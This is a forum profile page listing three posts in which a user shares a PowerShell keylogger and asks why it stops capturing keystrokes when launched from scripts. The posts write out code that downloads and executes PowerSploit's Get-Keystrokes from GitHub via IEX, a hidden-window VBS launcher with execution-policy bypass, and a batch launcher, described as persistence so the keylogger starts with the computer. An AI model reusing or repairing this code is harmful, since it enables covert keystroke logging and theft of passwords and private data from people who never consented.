Jump to content

codeeer

Members
  • Posts

    3
  • Joined

  • Last visited

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

codeeer's Achievements

Newbie

Newbie (1/14)

  1. So, to be clear, the script does run. Both the .vbs script and the .bat file runs the PowerShell script "keylogger.ps1". I know this because the first part of the powershell script works fine, it creates a empty file for logging keystrokes. The problem is that the keystrokes are not being registered when the powershell script is executed via a .bat script or a .vbs script. The keystrokes are registed if I run keylogger.ps1 via the powershell terminal, but NOT when I execute the keylogger.ps1 script via .bat or .vbs scripts. So, my question is, has anyone gotten this to work?
  2. It works when I run in PowerShell without being admin ./keylogger.ps1 Do you mean running the script as Administrator? How can I do that in code?
  3. Hi So I have this simple script, keylogger.ps1 $time = Get-Date -format "yyyy-MM-dd_HH-mm" $folder = $ENV:UserProfile $folder += '\Desktop\' + $time + '_keystrokes.txt' IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1') Get-Keystrokes -LogPath $folder It gets the powershell keylogger and execute it. Creating a log file on the desktop with year and day. This works fine when I run ./keylogger.ps1 from powershell Then I tried to add some persistence so it start with the computer, so I added this: updater.vbs script: Set objShell = CreateObject("Wscript.shell") objShell.run("powershell -WindowStyle Hidden -executionpolicy bypass -file C:\Users\user\Desktop\keylogger.ps1") The code is executed, but key strokes are not captured!! Same thing here, I run the script via a .bat file @echo off PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\Users\user\Desktop\keylogger.ps1'" The code is executed, file is created for logging key strokes, but no key strokes are captured!! Anybody know why this is?
×
×
  • Create New...